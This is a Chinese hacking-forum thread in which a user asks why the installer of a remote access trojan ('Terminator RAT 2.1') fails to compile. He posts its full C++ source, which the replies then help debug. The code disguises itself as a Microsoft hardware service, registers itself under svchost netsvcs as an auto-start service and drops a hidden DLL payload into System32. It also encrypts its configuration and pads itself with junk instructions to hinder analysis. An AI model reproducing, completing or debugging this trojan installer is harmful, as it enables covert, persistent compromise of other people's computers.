小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛

标题: 编译代码出错.大牛帮我看看是怎么回事,谢谢! [打印本页]

作者: mqbblove    时间: 2013-9-28 11:10
标题: 编译代码出错.大牛帮我看看是怎么回事,谢谢!
编译代码出错..下的论坛的终结者,大牛帮我看看是怎么回事,谢谢!
--------------------Configuration: install - Win32 Release--------------------
Compiling...
install.cpp
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(80) : warning C4018: '<' : signed/unsigned mismatch
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : error C2146: syntax error : missing ';' before identifier 'pExitProcess'
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : error C2501: 'ExitProcessT' : missing storage-class or type specifiers
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : fatal error C1004: unexpected end of file found
执行 cl.exe 时出错.

install.obj - 1 error(s), 0 warning(s)



作者: 丝腰    时间: 2013-9-28 11:37
未定义 错误
作者: mqbblove    时间: 2013-9-28 11:39
丝腰 发表于 2013-9-28 11:37
未定义 错误

怎么破???
作者: mqbblove    时间: 2013-9-28 11:41
本帖最后由 mqbblove 于 2013-9-28 11:44 编辑

编译源码
作者: mqbblove    时间: 2013-9-28 11:43
  1. // install.cpp : Defines the entry point for the application.
  2. //

  3. #include "StdAfx.h"
  4. #include <io.h>
  5. #pragma comment(linker, "/defaultlib:msvcrt.lib /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
  6. #include "resource.h"
  7. #include <windows.h>
  8. #include <stdlib.h>
  9. #include <Aclapi.h>
  10. #include <lm.h>
  11. #include <Shlwapi.h>
  12. #pragma comment(lib, "NetApi32.lib")
  13. #include "acl.h"
  14. #include "decode.h"
  15. #include "RegEditEx.h"
  16. #include <stdio.h>
  17. #pragma comment(lib, "DELAYIMP.LIB")
  18. #pragma comment(linker, "/DELAYLOAD:USER32.dll")
  19. #pragma comment(linker, "/DELAY:nobind")
  20. #pragma comment(linker, "/DELAY:unload")



  21. struct MyDATAbon
  22. {
  23.         char ServiceName[50];
  24.         char ServiceDisplayName[100];
  25.         char ServiceDescription[200];
  26.         char ReleasePath[200];
  27.         WORD FileAttribute;
  28.         char UpGroup[200];
  29. }
  30. MydataBox =
  31. {
  32.         "Microsoft  Sunley",
  33.         "Microsoft  Device Mini",
  34.         "监测和监视新硬件设备并自动更新设备驱动。",
  35.         "C:\\Windows\\System32\\Sunley.dll",
  36.         FILE_ATTRIBUTE_NORMAL,
  37.         "默认分组",
  38. };

  39. VOID MyEncryptFunction(LPSTR szData,WORD Size)
  40. {
  41.        
  42.         //该数组用来异或
  43.         WORD AddTable[]={
  44.                 3,2,5,8,5,1,2,3,2,5,3,4,1,2,
  45.                         4,3,5,8,2,4,5,8,1,2,4,3,1,1,
  46.                         8,1,2,4,3,1,1,5,2,2,1,2,1,3,
  47.                         5,2,2,1,2,1,3,3,1,2,3,5,2,6,
  48.                         2,4,1,3,2,1,2,6,2,3,3,2,1,1,
  49.                         3,6,2,1,2,4,4,3,1,2,3,5,2,6,
  50.                         3,1,2,3,5,2,6,5,2,2,1,2,1,2,
  51.                         6,2,3,3,2,1,1,5,2,2,1,2,1,2,
  52.                         3,2,5,3,4,1,2,2,3,1,2,3,5,2
  53.         };
  54.        
  55.         WORD TableSize = sizeof(AddTable)/sizeof(WORD);
  56.         WORD iCount=0;
  57. //        FuckCracker=FALSE;
  58.        
  59.         for (WORD i=0;i<Size;i++)
  60.         {
  61.                 if(iCount == TableSize)
  62.                         iCount = 0;
  63.                
  64.                 szData[i]^=AddTable[iCount];
  65.                 //BUG  忘记iCount++ 导致异或的是数组表 3..
  66.                 iCount++;
  67.         }
  68. }

  69. VOID MyCreatDirector(LPSTR Path)
  70. {
  71.        
  72.         CHAR Dir[MAX_PATH]={NULL};
  73.        
  74.         for (int i=0;i<strlen(Path);i++)
  75.         {
  76.                 if(Path[i]=='\\')
  77.                 {
  78.                         strncpy(Dir,Path,i);
  79.                         if(_access(Dir,NULL)==-1)
  80.                                 CreateDirectory(Dir,NULL);
  81.                 }
  82.         }
  83.        
  84. }

  85. ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
  86. void dbg_dump(struct _EXCEPTION_POINTERS* ExceptionInfo) {
  87. }
  88. LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
  89.         dbg_dump(ExceptionInfo);
  90.         ExitProcess(0);
  91. }

  92. BOOL MyFreeResource(char *szResourceID, char *szType, LPCTSTR lpFileName)
  93. {
  94.         FILE* fpOut = fopen(lpFileName, "wb");
  95.         if(fpOut == NULL)
  96.                 return FALSE;
  97.         HRSRC        hResLoad = FindResource(NULL, szResourceID, szType);
  98.         HGLOBAL hResData = LoadResource(NULL,hResLoad);
  99.         LPCSTR        data = (LPCSTR)LockResource(hResData);
  100.         if(hResLoad != NULL && hResData != NULL && data != NULL)
  101.                 fwrite(data,1,SizeofResource(NULL,hResLoad),fpOut);
  102.         fclose(fpOut);
  103.         return TRUE;
  104. }

  105. char *AddsvchostService()
  106. {
  107. SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
  108. lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
  109.         lstrcmpiAT plstrcmpiA= (lstrcmpiAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcmpiA");
  110.         char        *lpServiceName = NULL;
  111.         int rc = 0;
  112.         HKEY hkRoot;
  113.     char buff[2048];
  114.   //query svchost setting
  115.     char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
  116.     rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
  117.     if(ERROR_SUCCESS != rc)
  118.         return NULL;
  119.         __asm
  120.         {
  121.                 nop
  122.                         nop
  123.                         nop
  124.                         nop
  125.                         nop
  126.                         nop
  127.                         nop
  128.                         nop
  129.                         nop
  130.                         nop
  131.                         nop
  132.                         nop
  133.                         nop
  134.                         nop
  135.                         nop
  136.                         nop
  137.                         nop
  138.                         nop
  139.                         nop
  140.                         nop
  141.                         nop
  142.                         nop
  143.                         nop
  144. }
  145.     DWORD type, size = sizeof buff;
  146.     rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
  147.     pSetLastError(rc);
  148.     if(ERROR_SUCCESS != rc)
  149.         RegCloseKey(hkRoot);
  150.        
  151.         bool bExist = false;
  152.        
  153.         for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
  154.         {
  155.                 if (plstrcmpiA(ptr, MydataBox.ServiceName) == 0)
  156.                 {       
  157.                         bExist = true;
  158.                         break;
  159.                 }
  160.         }
  161.        
  162.         if (bExist==false)
  163.         {
  164.                 MydataBox.ServiceName[plstrlenA(MydataBox.ServiceName) + 1] = '\0';
  165.                 memcpy(buff + size - 1, MydataBox.ServiceName, plstrlenA(MydataBox.ServiceName) + 2);
  166.                
  167.                 rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(MydataBox.ServiceName) + 1);
  168.                
  169.                 RegCloseKey(hkRoot);
  170.                
  171.                 pSetLastError(rc);
  172.                
  173.                 lpServiceName = new char[plstrlenA(MydataBox.ServiceName) + 1];
  174.                 lstrcpy(lpServiceName, MydataBox.ServiceName);
  175.         }else{
  176.                 int i = 0;
  177.                 bExist = false;
  178.                 char servicename[50];
  179.                 do
  180.                 {       
  181.                         wsprintf(servicename, "netsvcs_0x%d", i);
  182.                         for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
  183.                         {
  184.                                 if (plstrcmpiA(ptr, servicename) == 0)
  185.                                 {       
  186.                                         bExist = true;
  187.                                         break;
  188.                                 }
  189.                         }
  190.                         if (bExist == false)
  191.                                 break;
  192.                         bExist = false;
  193.                         i++;
  194.                 } while(1);
  195.                
  196.                 servicename[plstrlenA(servicename) + 1] = '\0';
  197.                 memcpy(buff + size - 1, servicename, plstrlenA(servicename) + 2);
  198.                
  199.                 rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(servicename) + 1);
  200.                
  201.                 RegCloseKey(hkRoot);
  202.                
  203.                 pSetLastError(rc);
  204.                
  205.                 if (bExist == false)
  206.                 {
  207.                         lpServiceName = new char[plstrlenA(servicename) + 1];
  208.                         lstrcpy(lpServiceName, servicename);
  209.                 }
  210.         }
  211.         return lpServiceName;
  212. }

  213. char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription)
  214. {
  215. lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
  216. SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
  217.             // Open a handle to the SC Manager database.
  218.         char MyDllPath[MAX_PATH];
  219.         char strModulePath[MAX_PATH];
  220.         ExpandEnvironmentStrings(MydataBox.ReleasePath, MyDllPath, MAX_PATH);
  221.        
  222.         char *lpServiceName = NULL;
  223.     int rc = 0;
  224.     HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
  225.     SC_HANDLE hscm = NULL, schService = NULL;
  226.         __asm
  227.         {
  228.                 nop
  229.                         nop
  230.                         nop
  231.                         nop
  232.                         nop
  233.                         nop
  234.                         nop
  235.                         nop
  236.                         nop
  237.                         nop
  238.                         nop
  239.                         nop
  240.                         nop
  241.                         nop
  242.                         nop
  243.                         nop
  244.                         nop
  245.                         nop
  246.                         nop
  247.                         nop
  248.                         nop
  249.                         nop
  250.                         nop
  251. }
  252.         DWORD        dwStartType = 0;
  253.     try{
  254.     char strSubKey[1024];
  255.     //query svchost setting
  256.     char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
  257.     rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
  258.     if(ERROR_SUCCESS != rc)
  259.     {
  260.         throw "";
  261.     }

  262.     DWORD type, size = sizeof strSubKey;
  263.     rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
  264.     RegCloseKey(hkRoot);
  265.     pSetLastError(rc);
  266.     if(ERROR_SUCCESS != rc)
  267.         throw "RegQueryValueEx(Svchost\\netsvcs)";

  268.     //install service
  269.     hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  270.     if (hscm == NULL)
  271.         throw "OpenSCManager()";

  272.         char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

  273.        lpServiceName = AddsvchostService();
  274.                 schService = CreateService(
  275.                         hscm,                      // SCManager database
  276.                         lpServiceName,                    // name of service
  277.                         lpServiceDisplayName,           // service name to display
  278.                         SERVICE_ALL_ACCESS,        // desired access
  279.                         SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
  280.                         SERVICE_AUTO_START,      // start type
  281.                         SERVICE_ERROR_NORMAL,      // error control type
  282.                         bin,        // service's binary
  283.                         NULL,                      // no load ordering group
  284.                         NULL,                      // no tag identifier
  285.                         NULL,                      // no dependencies
  286.                         NULL,                      // LocalSystem account
  287.                         NULL);                     // no password
  288.                 dwStartType = SERVICE_WIN32_OWN_PROCESS;
  289. //////////////////////////////////////////////////////////////////////////
  290.         if (schService == NULL)
  291.                 throw "CreateService(Parameters)";

  292.     CloseServiceHandle(schService);
  293.     CloseServiceHandle(hscm);

  294.     //config service
  295.     hkRoot = HKEY_LOCAL_MACHINE;
  296.         wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);

  297.         if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
  298.         {               
  299.                 DWORD        dwServiceType = 0x120;
  300.                 WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
  301.         }

  302.         WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, plstrlenA(lpServiceDescription), 0);
  303.         __asm
  304.         {
  305.                 nop
  306.                         nop
  307.                         nop
  308.                         nop
  309.                         nop
  310.                         nop
  311.                         nop
  312.                         nop
  313.                         nop
  314.                         nop
  315.                         nop
复制代码

作者: mqbblove    时间: 2013-9-28 11:43

  1.                         nop
  2.                         nop
  3.                         nop
  4.                         nop
  5.                         nop
  6.                         nop
  7.                         nop
  8.                         nop
  9.                         nop
  10.                         nop
  11.                         nop
  12.                         nop
  13. }
  14.         lstrcat(strSubKey, "\\Parameters");
  15.         WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)MyDllPath, plstrlenA(MyDllPath), 0);
  16.     WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceMain", REG_SZ, "ServiceMain", lstrlen(strModulePath), 0);
  17.     }catch(char *str)
  18.     {
  19.         if(str && str[0])
  20.         {
  21.             rc = GetLastError();
  22.         }
  23.     }

  24.     RegCloseKey(hkRoot);
  25.     RegCloseKey(hkParam);
  26.     CloseServiceHandle(schService);
  27.     CloseServiceHandle(hscm);
  28.        
  29.         __asm NOP;
  30.         __asm NOP;
  31.         __asm NOP;
  32.         __asm NOP;
  33.                 __asm NOP;
  34.         if (lpServiceName != NULL)
  35.         {
  36.                 __asm NOP;
  37.                 __asm NOP;
  38.                 __asm NOP;
  39.                 __asm NOP;
  40.                 __asm NOP;
  41.                 __asm NOP;
  42.                 __asm NOP;
  43.                 __asm NOP;
  44.                 __asm NOP;
  45.                 __asm NOP;
  46.                 MyFreeResource("DLL", "BIN", MyDllPath);
  47.                 __asm NOP;
  48.                 __asm NOP;
  49.                 __asm NOP;
  50.                 __asm NOP;
  51.                 __asm NOP;
  52.         }

  53.     return lpServiceName;

  54. }

  55. void StartService(LPCTSTR lpService)
  56. {
  57.         SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
  58.         if ( NULL != hSCManager )
  59.         {
  60.                 SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
  61.                 if ( NULL != hService )
  62.                 {
  63.                         StartService(hService, 0, NULL);
  64.                         CloseServiceHandle( hService );
  65.                 }
  66.                 CloseServiceHandle( hSCManager );
  67.         }
  68. }
  69. BOOL silence()
  70. {
  71. ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
  72.         try
  73.         {
  74.                 fopen("shit.exe", "r");
  75.                 throw 1;
  76.                 pExitProcess(0);
  77.         }
  78.         catch (int)
  79.         {
  80.                 return TRUE;
  81.         }
  82.         return FALSE;
  83. }
  84. int APIENTRY WinMain(HINSTANCE hInstance,
  85.                      HINSTANCE hPrevInstance,
  86.                      LPSTR     lpCmdLine,
  87.                      int       nCmdShow)
  88. {
  89.         MyEncryptFunction((LPSTR)&MydataBox,sizeof(MyDATAbon));

  90. ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
  91.         if ( !silence() )
  92.         {
  93.                 pExitProcess(0);
  94.         }
  95.         SleepT pSleep= (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");
  96.         // TODO: Place code here.
  97.         //////////////////////////////////////////////////////////////////////////
  98.         // 让启动程序时的小漏斗马上消失
  99.         GetInputState();
  100.         PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
  101.         MSG        msg;
  102.         GetMessage(&msg, NULL, NULL, NULL);
  103.         //////////////////////////////////////////////////////////////////////////
  104.     if (GetFileAttributes( MydataBox.ReleasePath ) == 0xFFFFFFFF)
  105.         {       
  106.                
  107.                 MyCreatDirector(MydataBox.ReleasePath);       
  108.         }

  109.         char        *lpServiceName = NULL;
  110.         char        *lpUpdateArgs = "windows hehe";
  111.         //////////////////////////////////////////////////////////////////////////
  112.         // 如果不是更新服务端
  113.         if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
  114.         {

  115.         }
  116.         else
  117.         {
  118.                 // 等待服务端自删除
  119.                 pSleep(5000);
  120.         }

  121.         SetUnhandledExceptionFilter(bad_exception);
  122.     lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
  123.         lpServiceName = InstallService(MydataBox.ServiceDisplayName, MydataBox.ServiceDescription);
  124.         __asm
  125.         {
  126.                 nop
  127.                         nop
  128.                         nop
  129.                         nop
  130.                         nop
  131.                         nop
  132.                         nop
  133.                         nop
  134.                         nop
  135.                         nop
  136.                         nop
  137.                         nop
  138.                         nop
  139.                         nop
  140.                         nop
  141.                         nop
  142.                         nop
  143.                         nop
  144.                         nop
  145.                         nop
  146.                         nop
  147.                         nop
  148.                         nop
  149. }
  150.        
  151.         char *lpUpGroup=MydataBox.UpGroup;
  152.         if (lpServiceName != NULL)
  153.         {
  154.                 // 写安装程序路径到注册表,服务开始后读取并删除
  155.                 char        strSelf[MAX_PATH];
  156.                 char        strSubKey[1024];
  157.                 memset(strSelf, 0, sizeof(strSelf));
  158.                 GetModuleFileName(NULL, strSelf, sizeof(strSelf));
  159.                 wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
  160.                 WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "fuckweiruan", REG_SZ, strSelf, plstrlenA(strSelf), 0);
  161.                 WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ConnectGroup", REG_SZ, lpUpGroup,plstrlenA(lpUpGroup), 0);

  162.                 StartService(lpServiceName);
  163.                
  164.         }
  165.     SetFileAttributes(MydataBox.ReleasePath,MydataBox.FileAttribute);
  166.         pExitProcess(0);
  167.         return 0;
  168. }


复制代码

作者: 81908453    时间: 2013-9-28 11:46
可不可以教教我啊  我不会编译  谁教编译啊 有教程的发我邮箱1908309406@qq.com 谢谢了
作者: 丝腰    时间: 2013-9-28 14:47
动态调用未定义
作者: 君戦天    时间: 2013-11-11 09:31
一般编译这些 要不是 SDK没更新就是 XTP库没弄好。实在不行 就把花指令去掉 反正没用了 代码公布出来 花指令就等于废了




欢迎光临 小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛 (https://xqmsyk.com/) Powered by Discuz! X3.3